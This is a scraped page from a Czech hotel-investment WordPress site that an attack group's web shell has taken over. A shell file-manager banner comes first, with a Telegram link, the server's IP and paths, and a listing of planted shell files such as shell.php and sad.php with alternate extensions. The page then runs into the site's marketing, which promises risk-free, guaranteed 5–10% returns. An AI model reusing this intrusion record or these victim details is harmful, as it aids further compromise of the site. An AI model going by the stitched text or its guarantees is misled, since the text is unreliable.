BY : zeroday1diot9 ( raimu & beelze )https://t.me/+72wGqXlkSMU3ZTU1
BY : zeroday1diot9 ( raimu & beelze )
  • Your IP : 31.15.12.237
  • Server IP : 10.31.21.21
  • Server : Linux php-fpm21 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC 2025 x86_64
  • Server Software : Apache
  • Server Name : investicedohotelu.cz
  • PHP Version : 8.1.34
  • Add File : Submit
  • Add Directory : Submit
  • Shell Scanner : Scan
  • Dir : ~/data/6/1/61798448-d3a0-43ea-bd8e-1e17fb21d219/investicedohotelu.cz/www/
    • Name Size Permission Action
    blog ------ drwxr-sr-x ------ Rename Delete
    category ------ drwxr-sr-x ------ Rename Delete
    hotelum-se-dari ------ drwxr-sr-x ------ Rename Delete
    moznosti-investice ------ drwxr-sr-x ------ Rename Delete
    nabidka-hotelu ------ drwxr-sr-x ------ Rename Delete
    o-nas ------ drwxr-sr-x ------ Rename Delete
    old ------ drwxr-sr-x ------ Rename Delete
    php ------ drwxr-sr-x ------ Rename Delete
    pripadova-studie-hotel-perla ------ drwxr-sr-x ------ Rename Delete
    pripadova-studie-hotel-ski ------ drwxr-sr-x ------ Rename Delete
    reference ------ drwxr-sr-x ------ Rename Delete
    video-jan-hospitality ------ drwxr-sr-x ------ Rename Delete
    wp-admin ------ drwxr-sr-x ------ Rename Delete
    wp-content ------ drwxr-sr-x ------ Rename Delete
    wp-includes ------ drwxr-sr-x ------ Rename Delete
    zasady-cookies ------ drwxr-sr-x ------ Rename Delete
    .htaccess 0.897 KB -rw------- Edit Rename Delete
    .user.ini 0.384 KB -rw------- Edit Rename Delete
    cdwhdngf.php 0.18 KB -rw-r--r-- Edit Rename Delete
    dup-installer-bootlog__036068d-26080845.txt 0.238 KB -rw-rw-r-- Edit Rename Delete
    g2qrs9d5ixogomztw113buu0hlhrar.html 0.029 KB -rw-r--r-- Edit Rename Delete
    index.php 0.396 KB -rw-r--r-- Edit Rename Delete
    installer.php 71.94 KB -rw-r--r-- Edit Rename Delete
    jwwiqihd.php 0.18 KB -rw-r--r-- Edit Rename Delete
    kill.txt 0.02 KB -rw-r--r-- Edit Rename Delete
    license.txt 19.073 KB -rw-r--r-- Edit Rename Delete
    readme.html 7.263 KB -rw-r--r-- Edit Rename Delete
    resmushit.log 6.865 KB -rw-rw-r-- Edit Rename Delete
    sad.php 0.688 KB -rw-r--r-- Edit Rename Delete
    sad.php5 0.688 KB -rw-r--r-- Edit Rename Delete
    sad.php7 0.688 KB -rw-r--r-- Edit Rename Delete
    sad.pht 0.688 KB -rw-r--r-- Edit Rename Delete
    sad.phtml 0.688 KB -rw-r--r-- Edit Rename Delete
    sadboy.php 0.695 KB -rw-r--r-- Edit Rename Delete
    shell.php 0.065 KB -rw-r--r-- Edit Rename Delete
    wp-activate.php 6.997 KB -rw-r--r-- Edit Rename Delete
    wp-blog-header.php 0.343 KB -rw-r--r-- Edit Rename Delete
    wp-comments-post.php 2.283 KB -rw-r--r-- Edit Rename Delete
    wp-config-sample.php 2.837 KB -rw-r--r-- Edit Rename Delete
    wp-config.php 3.288 KB -rw-r--r-- Edit Rename Delete
    wp-cron.php 3.847 KB -rw-r--r-- Edit Rename Delete
    wp-links-opml.php 2.438 KB -rw-r--r-- Edit Rename Delete
    wp-load.php 3.809 KB -rw-r--r-- Edit Rename Delete
    wp-login.php 46.793 KB -rw-r--r-- Edit Rename Delete
    wp-mail.php 8.327 KB -rw-r--r-- Edit Rename Delete
    wp-settings.php 22.485 KB -rw-r--r-- Edit Rename Delete
    wp-signup.php 31.21 KB -rw-r--r-- Edit Rename Delete
    wp-trackback.php 4.703 KB -rw-r--r-- Edit Rename Delete
    xmlrpc.php 3.16 KB -rw-r--r-- Edit Rename Delete
    © BY : zeroday1diot9 ( raimu & beelze )
    GIF89a Investice do hotelu

    • DIVERZIFIKUJTE SVÉ PORTFOLIO
      BEZPEČNOU INVESTICÍ

      Otevíráme trh pro menší investory od 500.000 Kč.
      Možnosti investování

    • NEJLEPŠÍ ČAS INVESTOVAT
      DO HOTELU

      Hotel není nemovitost, ale zavedený byznys.
      Zjistit více

    • POZNEJTE HOTELY
      Z INVESTIČNÍ STRANY

      Objevte perspektivní investici s nízkým rizikem
      a výnosem ročně 5–10 %.
      Případová studie

    BEZPEČNÁ INVESTICE JIŠTĚNÁ NEMOVITOSTÍ

    Zajistěte si pasivní příjem v perspektivní oblasti,
    která každoročně roste.

    PROČ HOTEL

    Investujte s výnosem 5 – 10 % ročně a nízkým rizikem

    Ceny nemovitostí každým rokem rostou a v dohledné době se jejich růst rozhodně nezastaví. Rostou násobně rychleji než inflace, což je jedním z mnoha důvodů, proč jsou investice v oblasti nemovitostí tak žádané. V JAN Hospitality – Hotel Experts jsme se rozhodli spojit trh nemovitostí a hotelových služeb projektem Investice do hotelu. Hotel je primárně byznys, který se odehrává v konkrétní nemovitosti. Není to jenom nemovitost, je to služba, podnikání, ekonomický proces.

    Samozřejmostí pro investory je i zapojení do Věrnostního programu exkluzivních výhod spojených s užíváním služeb hotelu. Sami přece chcete ochutnat zážitky, které váš hotel nabízí. 

    Domluvit schůzku

    MOŽNOSTI INVESTOVÁNÍ

    Chcete se stát majitelem nebo spolumajitelem hotelu? Nebo chcete investovat jen malou částku? Máte v plánu se osobně věnovat řízení hotelu nebo vše nechat na odbornících? Zamýšlíte pořídit hotel a dát mu jiné využití? Najdeme pro vás vhodné řešení.

    Srovnání a bližší informace

    PROČ S NÁMI

    OTEVÍRÁME HOTELOVÝ TRH INVESTORŮM JIŽ 20 LET

    Celý transakční proces si vezmeme na starosti, budete mít minimum starostí. Od vyhledání vhodné příležitosti a odhadu ceny přes tvorbu byznys plánu a vyjednávání s protistranou po zajištění provozu hotelu tak, aby pro vás nebyl starostí navíc.

    VLASTNÍ ZKUŠENOSTI S VEDENÍM HOTELŮ, CERTIFIKACE A VSTŘÍCNOST

    Na základě více než dvacetileté praxe obstaráme investice budoucím majitelům, spolumajitelům i malým investorům, kteří hledají vhodný způsob pasivního příjmu se zaručeným výnosem a minimálním rizikem.

    Pomoc s financováním

    Zajistíme vám výhodný úvěr, kterým celý projekt pohodlně zafinancujete. Pro investici do hotelu navíc nepotřebujete desítky milionů. Jako malý investor můžete využít našich služeb s mnohem menším kapitálem.

    Bezpečná koupě či investice

    Díky 21 rokům zkušeností v hotelnictví a realitní branži vám zajistíme bezpečnou koupi nebo investici bez rizik s výnosem 5-10 % ročně.

    Technický audit

    Před koupí proběhne technický audit a ověření stavu hotelu nezávislým znalcem. Budete tak přesně vědět, v jakém stavu vaše nová investice je. Na základě auditu vám poradíme, které části hotelu fungují, jak mají, a kde je naopak potřeba provést změny.

    Byznys plán

    Najdeme a silné stránky vašeho nového hotelu a ukážeme, jak je ještě více podpořit. Upozorníme i na slabé stránky a navrhneme jejich řešení. Byznys plán navrhneme na míru vašeho hotelu, a to přesně tak, aby co nejlépe fungoval.

    Provozovatel, operátor, nájemce

    Pokud se nechcete provozu hotelu věnovat osobně, zajistíme vám odborného provozovatele, operátora nebo nájemce, kteří každodenní běh hotelu vezmou na sebe. Ať se rozhodnete jakkoliv, pomůžeme vám optimalizovat všechny procesy, aby váš nový hotel fungoval, jak se patří.

    Budoucnost ve vašich rukou

    Koupí hotelu se nezavazujete k tomu, že budete původní účel vaší nové nemovitosti nadále udržovat. Když budete chtít hotel přestavět na apartmány, změnit jeho koncept, pozvednout úroveň nebo jinak upravit jeho směr, rádi vám pomůžeme, jako jsme pomohli už desítkám spokojených klientů.

    VYPLŇTE JEDNODUCHÝ
    INVESTIČNÍ FORMULÁŘ

    …a my vám doporučíme investici podle vaší představy. Do minuty máte vyplněno.

    Vyplnit formulář

    REFERENCE

    PŘÍPADOVÉ STUDIE

    Výsledky mluví za vše, prohlédněte si naše případové studie a reference. 

    Prohlédnout reference

    FAQ

    OTÁZKY A ODPOVĚDI

    Je rozumné v dnešní době investovat do hotelu?

    Ano, rozhodně.  Investice do hotelu je nyní zajímavou příležitostí. Hotely se dají pořídit za atraktivní cenu. Lze očekávat výnos až 10 % v závislosti na lokalitě. V Praze je současný výnos čtyři až pět procent, mimo hlavní město dosahuje výnos až deseti procent. V mimořádných případech i více. 

    Jaké jsou typy investic do hotelu?

    Můžete hotel přímo koupit a stát se jeho majitelem, případně spolumajitelem. Nebo se stanete klasickým investorem s garantovaným pravidelným výnosem. Pokud budete hotel vlastnit – můžete jej pronajmout nájemci, sami ho provozovat nebo si ponechat kontrolu nad provozem a pronajmout jej formou manažerské smlouvy. Hotel můžete provozovat pod mezinárodní hotelovou značkou, jako je třeba Marriott, Hilton nebo Ibis. 

    Jaká je finanční návratnost investice do hotelu?

    Můžete počítat s návratností 10–23 let, v závislosti na lokalitě. V Praze s výnosem 4,5 % – 5 % bude návratnost 20–23 let. V turisticky atraktivních lokalitách bude s výnosem 5 % – 8 % návratnost 12 až 20 let. V ostatních lokalitách návratnost v průměru dosahuje 10-ti let, tedy výnos kolem 10 %. V posledních letech mnohem méně záleží na lokalitě, protože moderní marketingové nástroje umožňují dosáhnout vysoké rentability. Pokud má hotel skvělá hodnocení pobytu od hostů, není se čeho obávat. 

    Od jaké výše prostředků dává investice do hotelu smysl?

    Již od jednoho milionu Kč lze uvažovat o investici do hotelu. Forem investic do hotelu je několik. Ve chvíli, kdy se rozhodnete investovat několik milionů či desítek milionů korun, můžete se stát majiteli hotelu. A tak i zvýšit výnos své investice. Pokud byste investovali jeden či několik milionů, budete dostávat pravidelný výnos. 

    Jaký je rozdíl mezi investicí do hotelu a nemovitosti?

    Hotel je primárně byznys, který se odehrává v konkrétní nemovitosti. Není to jenom nemovitost, je to služba, podnikání. Tato služba se ale bez nemovitosti neobejde. Naopak investice do hotelu jako nemovitosti může nakonec vyústit i do jiného využití než hotelového (přestavba na byty, kanceláře apod.). A protože hotel je podnikání, může také vynášet výrazně více než pouhé vlastnictví nemovitosti. 

    Musím se o hotel po koupi starat?

    Můžete, ale nemusíte. Záleží na vás, na kolik se své investici chcete věnovat. Variantou je i být čistě jen investorem a o nic se nestarat. Jakožto majitelé hotelu máte několik možností. Hotel lze běžně pronajmout nájemci, operátorovi. Nebo si můžete ponechat kontrolu nad provozem a pronajmout jej formou management kontraktu. Anebo si můžete pronajmout mezinárodní značku (formou franšízy), ta Vám poskytne manuály a know-how. Ať už se rozhodnete pro jakékoliv řešení, jsme tu od toho, abychom Vám pomohli.

    Jak poznám, že hotel, do kterého jsem investoval, funguje?

    Před samotnou investicí připravíme finanční plán na základě obsazenosti, průměrné ceny za obsazený pokoj, ekonomických výsledků vč. výsledků restaurace a ostatních provozů. Budete dostávat pravidelné informace (reporty). Jsme a budeme tu od toho, abychom Vám dávali zpětnou vazbu, jestli je vše v pořádku. Na internetu se můžete také kdykoliv podívat, jak hosté Váš hotel hodnotí, zda byli s pobytem spokojeni. Vlastní závěr si pak můžete udělat při svém pobytu v hotelu. Pro všechny investory bude připraven věrnostní program s výhodami, abyste měli možnost svůj hotel osobně poznat. 

    Chtěl bych vložit své prostředky do hotelu. Jaký bude teď postup?

    Domluvíme si schůzku, na které probereme Vaše představy. Kolik peněz byste chtěli investovat, na jak dlouhou dobu, jakou formu investice preferujete. Zvolíme formu zajištění Vaší investice, a také podobu výplaty zhodnocení vložených prostředků. Budeme mluvit o možnostech vystoupení z investice. A v neposlední řadě společně vybereme vhodný hotel. 

    Jak budu moci vystoupit z investice do hotelu?

    Ve chvíli, kdy budeme dojednávat Vaši investici do hotelu, budeme také probírat formu vystoupení z takové investice. Člověk nikdy neví, co se může stát a je proto dobré být připraven. Vystoupení z investice je každopádně možné a u konkrétních případů se budeme bavit o konkrétních řešeních.  

    Je obtížné získat nájemce (operátora)?

    Není to složité a je to obvyklé. Na trhu funguje řada nájemců, kteří se umí o hotel velmi dobře postarat. Rádi takového pomůžeme najít. Hotel lze provozovat i formou management kontraktu neboli manažerské smlouvy. Podrobnosti s Vámi rádi probereme.

    Mám zájem o konkrétní hotel, ale nejsem si jistý lokalitou.

    Lokalita je důležitá, ale mnohem méně než dříve. Když provozovatel hotelu dobře propojí marketing, webové stránky a sociální sítě s hodnoceními spokojených hostů, tak může být úplně kdekoliv. Dnes je kvalitní marketing dostupný všude a za relativně nízké náklady. Ten, kdo má dobrý záměr, může výhodně koupit hotel v místě, které ostatním připadá jako neatraktivní. 

    Chtěli bychom s kamarádem investovat do hotelu na náměstí v rodném městě. Dává to smysl?

    Často si hotel kupují investoři s osobním vztahem přímo k hotelu nebo k lokalitě. Nedávno jsme řešili koupi hotelu pro dva podnikatele, babička jednoho z nich měla v hotelové restauraci kdysi svatbu. Nebo jiný příklad – jeden náš klient, investor, se rozhodl koupit si hotel v menším městě, protože zde prožil dětství a zná to tu (přitom žije a podniká v Praze). Je hezké, když úspěšní podnikatelé mají chuť sdílet část úspěchu se svým rodištěm. 

    V poslední době zdražily energie. Jak to hotely ekonomicky zvládají?

    Hoteliéři investují do nových LED svítidel, instalují solární panely a tepelná čerpadla. Hotely, kde se vytváří hodně tepla ve wellness zónách toto teplo přivádí na pokoje. A je řada dalších způsobů, jak ušetřit na spotřebě elektřiny a plynu. 

    Je hotel dlouhodobě udržitelný z pohledu ekologie?

    Rozhodně ano. A bude čím dál víc. Již nyní kupříkladu hotely zpracovávají vlastní teplo ze saun a bazénu tím, že jej pak rozvádí po pokojích. Používají se solární elektrárny, tepelná čerpadla. Na pozemcích u hotelu se budují retenční nádrže na dešťovou vodu. Dokonce se předpovídá, že do městských hotelů a hotelů zaměřených na kongresový cestovní ruch budou jezdit hosté v samořiditelných automobilech. 

    Co když budu muset investovat do budovy hotelu hodně peněz?

    Před koupí samotného hotelu je potřeba udělat technický audit. Rádi jej pro vás zprostředkujeme u specializované a prověřené firmy. Pak se nemusíte bát, že budete mít nečekané investiční výdaje. I my sami Vám předložíme náš pohled na technický stav budovy a zařízení, vycházíme přitom z naší více než dvacetileté hotelové a investiční praxe.

    BLOG

    VSTUPTE DO SVĚTA INVESTIC DO HOTELU

    Aktuální dění z trhu s hotely vám rádi nabídneme ať už ve formě článku, rozhovoru, videa, nebo podcastu.

    Více článků
    VIDEO

    Náš pohled na investice do hotelů a cestovního ruchu v roce 2022

    Zajímají Vás témata jako: „Jaké jsou investice do hotelů u nás vs. v zahraničí? Jak se celkově vyvíjí investice právě do tohoto segmentu?“
    PODCAST

    Proč je teď ten správný čas investovat do hotelu?

    Proč je dobré investovat do hotelu a o co dalšího vás tato investice obohatí? Odpovědi nejen na tyto otázky si poslechněte v nové epizodě našeho podcastu Realitní mixér.
    VIDEO

    Představení JAN Hospitality

    Jsme tým specialistů na prodej, pronájem, analýzy investičních příležitostí a konzultace. Seznamte se s námi!

    KONTAKTNÍ FORMULÁŘ

    Zanechte nám na sebe prosím kontakt a do 24 hodin se vám ozveme s návrhem termínu schůzky

    Jméno
    Políčko je vyžadováno!
    Políčko je vyžadováno!
    Telefon
    Políčko je vyžadováno!
    Políčko je vyžadováno!
    E-mail*
    Políčko je vyžadováno!
    Políčko je vyžadováno!
    Políčko je vyžadováno!
    Políčko je vyžadováno!
    Políčko je vyžadováno!
    Políčko je vyžadováno!
    * nepovinný
    Políčko je vyžadováno!
    Políčko je vyžadováno!
    Kontaktujte mě

    Stanislava Bártková

    Sales Manager

    Informace o cookies na této stránce
    Soubory cookie používáme ke shromažďování a analýze informací o výkonu a používání webu, zajištění fungování funkcí ze sociálních médií a ke zlepšení a přizpůsobení obsahu. Pokud s tím souhlasíte, klikněte na "Povolit vše". Pro podrobnější nastavení cookies klikněte na tlačítko "Nastavení". Zjistit více o tom, jak používáme cookies.
    Nastavení Zamítnout vše Povolit vše
    Informace o cookies na této stránce
    Cookie soubory, které jsou použité na těchto stránkách jsou rozděleny do kategorií a níže si můžete zjistit více o každé kategorii a povolit nebo zamítnout některé nebo všechny z nich. Jakmile zakážete kategorie, které byly předtím povoleny, budou zakázány všechny služby, které používají cookies přiřazené do této kategorie. Zjistit více o tom, jak používáme cookies.
    Uložit Zamítnout vše Povolit vše